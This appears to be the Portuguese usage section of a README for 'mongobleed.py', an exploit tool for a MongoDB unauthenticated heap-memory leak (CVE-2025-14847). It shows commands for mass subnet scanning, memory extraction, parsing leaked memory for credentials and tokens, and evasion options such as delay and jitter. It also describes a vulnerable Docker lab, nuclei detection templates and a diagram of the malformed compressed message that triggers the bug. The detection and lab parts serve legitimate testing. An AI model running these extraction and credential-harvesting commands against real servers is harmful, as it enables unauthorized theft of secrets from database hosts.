# Verifica alvo único
python mongobleed.py -t localhost:27017

# Verifica com saída detalhada
python mongobleed.py -t localhost:27017 -v

# Modo seguro -- apenas detecção, nunca envia payload de exploração
python mongobleed.py -t localhost:27017 -s

# Mostra informações da versão
python mongobleed.py -t localhost:27017 --version

# Varre uma sub-rede /24
python mongobleed.py -t 192.168.1.0/24

# CIDR com porta personalizada
python mongobleed.py -t 10.0.0.0/24:27018

# Varre a partir de arquivo de alvos (intervalos CIDR no arquivo são expandidos)
python mongobleed.py -T targets.txt -j 20 -o results.json

# O arquivo de alvos pode conter IPs, host:porta e intervalos CIDR
cat targets.txt
# 192.168.1.100:27017
# 10.0.0.0/24
# mongodb.internal:27017

# Extrai memória (intervalo de offset padrão 20-8192)
python mongobleed.py -t target:27017 -e

# Intervalo de offset personalizado
python mongobleed.py -t target:27017 -e --min-offset 20 --max-offset 500

# Extração contínua (Ctrl+C para parar)
python mongobleed.py -t target:27017 --continuous

# Força extração mesmo se a verificação de versão for inconclusiva
python mongobleed.py -t target:27017 -e --force

# Analisa memória vazada em busca de credenciais e segredos
python mongobleed.py -t target:27017 -e --credentials

# Analisa especificamente tokens
python mongobleed.py -t target:27017 -e --tokens

# Extrai strings imprimíveis
python mongobleed.py -t target:27017 -e --strings

# Saída hexdump
python mongobleed.py -t target:27017 -e --hexdump

# Adiciona atraso entre requisições (milissegundos)
python mongobleed.py -t target:27017 -e --delay 500

# Jitter aleatório no atraso
python mongobleed.py -t target:27017 -e --delay 1000 --jitter

# Apenas detecção segura
nuclei -t nuclei/CVE-2025-14847-safe.yaml -u mongodb://localhost:27017

# Detecção ativa
nuclei -t nuclei/CVE-2025-14847.yaml -u mongodb://localhost:27017

# Varre múltiplos alvos
nuclei -t nuclei/ -l targets.txt

# Inicia todos os contêineres
cd lab && docker compose up -d

# Serviços:
# - localhost:27017  MongoDB 4.4.29 (Vulnerável + zlib)
# - localhost:27018  MongoDB 6.0.26 (Vulnerável + zlib)
# - localhost:27019  MongoDB 8.0.16 (Vulnerável + zlib)
# - localhost:27020  MongoDB 8.0.17 (Corrigido)
# - localhost:27021  MongoDB 8.0.16 (Sem zlib - não explorável)
# - localhost:8080   Painel de Monitoramento

# Aquece o heap com dados sensíveis antes da exploração
./warmup-heap.sh 27017 50

# Executa exploit contra o laboratório
cd ../cli
python mongobleed.py -t localhost:27017 -e --credentials

Alvo:
  -t, --target TARGET     Host:porta alvo ou intervalo CIDR (ex.: 192.168.1.0/24)
  -T, --targets FILE      Arquivo com lista de alvos (suporta CIDR por linha)

Detecção:
  --detect                Detecta se o alvo é vulnerável (ação padrão)
  --version               Mostra versão do MongoDB
  -s, --safe              Modo seguro - apenas detecção, sem exploração

Exploração:
  -e, --extract           Extrai memória via varredura de offset
  --min-offset N          Offset mínimo a sondar (padrão: 20)
  --max-offset N          Offset máximo a sondar (padrão: 8192)
  --continuous            Modo de extração contínua
  --force                 Força extração mesmo se a verificação de versão falhar

Análise:
  --credentials           Analisa em busca de credenciais
  --tokens                Analisa em busca de tokens
  --strings               Extrai strings imprimíveis
  --hexdump               Exibe hexdump

Evasão:
  --delay MS              Atraso entre requisições (milissegundos)
  --jitter                Jitter aleatório no atraso

Saída:
  -o, --output FILE       Arquivo de saída (JSON)
  -v, --verbose           Saída detalhada
  -q, --quiet             Modo silencioso
  --json                  Saída JSON
  --no-color              Desabilita cores

Conexão:
  --timeout SECS          Tempo limite de conexão (padrão: 10)
  -j, --threads N         Threads para varredura em lote (padrão: 10)

1. CONNECT (no authentication required)
              ↓
2. SEND MALFORMED OP_COMPRESSED
   ┌──────────────────────────────────┐
   │ originalOpcode: OP_MSG (2013)    │
   │ uncompressedSize: INFLATED       │ ← Bug trigger
   │ compressorId: zlib (2)           │
   │ compressedMessage: [small data]  │
   └──────────────────────────────────┘
              ↓
3. SERVER ALLOCATES OVERSIZED BUFFER
   [ small real data | uninitialized heap memory ]
              ↓
4. BSON PARSER READS INTO HEAP GARBAGE
   Inflated document length causes parser to read
   beyond actual data into heap memory
              ↓
5. ERROR RESPONSE LEAKS MEMORY
   "invalid BSON field name 'password=secret123...'"